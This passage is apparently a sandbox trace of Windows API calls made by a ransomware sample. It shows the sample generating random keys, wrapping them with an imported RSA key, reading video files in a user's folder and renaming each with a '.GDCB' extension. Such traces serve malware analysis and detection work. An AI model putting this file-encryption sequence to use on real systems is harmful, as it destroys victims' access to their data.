dwFlags=0x0) returned 1 [0143.467] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ed300) returned 1 [0143.467] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.468] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.468] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0143.468] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.468] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecfd0) returned 1 [0143.470] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x28f4990) returned 1 [0143.470] CryptGetKeyParam (in: hKey=0x28f4990, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0143.470] CryptEncrypt (in: hKey=0x28f4990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0143.470] GetLastError () returned 0x0 [0143.470] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.470] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ed300) returned 1 [0143.472] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x28f4810) returned 1 [0143.472] CryptGetKeyParam (in: hKey=0x28f4810, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0143.472] CryptEncrypt (in: hKey=0x28f4810, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0143.472] GetLastError () returned 0x0 [0143.472] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.472] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\oY42r84BASg5Iqj_WyZI.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\oy42r84basg5iqj_wyzi.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0143.472] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.472] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.473] ReadFile (in: hFile=0x4f4, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285ed38*=0xce05, lpOverlapped=0x0) returned 1 [0143.481] VirtualAlloc (lpAddress=0x0, dwSize=0xce10, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.486] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\oY42r84BASg5Iqj_WyZI.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\oy42r84basg5iqj_wyzi.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\oY42r84BASg5Iqj_WyZI.mkv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\oy42r84basg5iqj_wyzi.mkv.gdcb")) returned 1 [0143.494] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ed300) returned 1 [0143.495] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.495] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.495] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0143.495] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.495] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ed168) returned 1 [0143.495] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.495] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.495] CryptGenRandom (in: hProv=0x2ed168, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0143.495] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0143.495] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ed300) returned 1 [0143.497] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x28f4550) returned 1 [0143.497] CryptGetKeyParam (in: hKey=0x28f4550, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0143.497] CryptEncrypt (in: hKey=0x28f4550, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0143.498] GetLastError () returned 0x0 [0143.498] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.498] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0143.499] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x28f4850) returned 1 [0143.500] CryptGetKeyParam (in: hKey=0x28f4850, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0143.500] CryptEncrypt (in: hKey=0x28f4850, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0143.500] GetLastError () returned 0x0 [0143.500] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.500] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\q_rurk5jw-eBsu1expVq.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\q_rurk5jw-ebsu1expvq.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0143.500] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.500] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.500] ReadFile (in: hFile=0x4f4, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285ed38*=0xbba0, lpOverlapped=0x0) returned 1 [0143.510] VirtualAlloc (lpAddress=0x0, dwSize=0xbba0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.514] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\q_rurk5jw-eBsu1expVq.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\q_rurk5jw-ebsu1expvq.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\q_rurk5jw-eBsu1expVq.flv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\q_rurk5jw-ebsu1expvq.flv.gdcb")) returned 1 [0143.515] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecfd0) returned 1 [0143.516] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.516] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.516] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0143.516] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.516] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecfd0) returned 1 [0143.516] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.517] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.517] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0143.517] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.517] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecfd0) returned 1 [0143.519] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x28f4610) returned 1 [0143.519] CryptGetKeyParam (in: hKey=0x28f4610, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0143.519] CryptEncrypt (in: hKey=0x28f4610, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0143.519] GetLastError () returned 0x0 [0143.519] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.519] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0143.521] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x28f4a90) returned 1 [0143.521] CryptGetKeyParam (in: hKey=0x28f4a90, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0143.521] CryptEncrypt (in: hKey=0x28f4a90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0143.521] GetLastError () returned 0x0 [0143.521] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.521] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\tV 10V8P8Hh2UG.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\tv 10v8p8hh2ug.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0143.522] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.522] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.522] ReadFile (in: hFile=0x4f4, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285ed38*=0x12124, lpOverlapped=0x0) returned 1 [0143.530] VirtualAlloc (lpAddress=0x0, dwSize=0x12130, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.535] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\tV 10V8P8Hh2UG.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\tv 10v8p8hh2ug.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\tV 10V8P8Hh2UG.mp4.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\tv 10v8p8hh2ug.mp4.gdcb")) returned 1 [0143.536] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecc18) returned 1 [0143.536] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.537] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.537] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0143.537] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.537] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ed300) returned 1 [0143.537] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.537] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.537] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0143.537] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.537] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0143.539] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x28f46d0) returned 1 [0143.539] CryptGetKeyParam (in: hKey=0x28f46d0, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0143.539] CryptEncrypt (in: hKey=0x28f46d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0143.540] GetLastError () returned 0x0 [0143.540] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.540] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ed300) returned 1 [0143.541] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x28f4890) returned 1 [0143.541] CryptGetKeyParam (in: hKey=0x28f4890, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0143.541] CryptEncrypt (in: hKey=0x28f4890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0143.542] GetLastError () returned 0x0 [0143.542] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.542] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\xXr5-.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\xxr5-.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0143.542] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.542] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.542] ReadFile (in: hFile=0x4f4, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285ed38*=0x373a, lpOverlapped=0x0) returned 1 [0143.551] VirtualAlloc (lpAddress=0x0, dwSize=0x3740, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.554] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\xXr5-.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\xxr5-.swf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\xXr5-.swf.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\xxr5-.swf.gdcb")) returned 1 [0143.555] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0143.556] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.556] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.556] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0143.556] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.556] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0143.557] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.557] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.557] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0143.557] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.557] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0143.559] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28f4650) returned 1 [0143.559] CryptGetKeyParam (in: hKey=0x28f4650, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0143.559] CryptEncrypt (in: hKey=0x28f4650, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0143.559] GetLastError () returned 0x0 [0143.559] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.559] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed0e0) returned 1 [0143.561] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28f4ad0) returned 1 [0143.561] CryptGetKeyParam (in: hKey=0x28f4ad0, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0143.561] CryptEncrypt (in: hKey=0x28f4ad0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0143.561] GetLastError () returned 0x0 [0143.561] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0143.561] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\vuAolxdGJNBdv7Qy.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\vuaolxdgjnbdv7qy.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0143.561] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.562] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.562] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0x164ac, lpOverlapped=0x0) returned 1 [0143.570] VirtualAlloc (lpAddress=0x0, dwSize=0x164b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.576] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\vuAolxdGJNBdv7Qy.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\vuaolxdgjnbdv7qy.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\vuAolxdGJNBdv7Qy.mp4.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\vuaolxdgjnbdv7qy.mp4.gdcb")) returned 1 [0143.578] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed0e0) returned 1 [0143.578] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.579] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.579] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0143.579] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0143.579] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0143.579] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.579] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.579] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0143.579] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.579] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0143.581] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28f48d0) returned 1 [0143.581] CryptGetKeyParam (in: hKey=0x28f48d0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0143.581] CryptEncrypt (in: hKey=0x28f48d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0143.582] GetLastError () returned 0x0 [0143.582] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0143.582] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0143.583] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28f4b10) returned 1 [0143.583] CryptGetKeyParam (in: hKey=0x28f4b10, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0143.583] CryptEncrypt (in: hKey=0x28f4b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0143.584] GetLastError () returned 0x0 [0143.584] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.584] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\ppTk R5o9qfrpMwcdZ.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\pptk r5o9qfrpmwcdz.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0143.584] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, 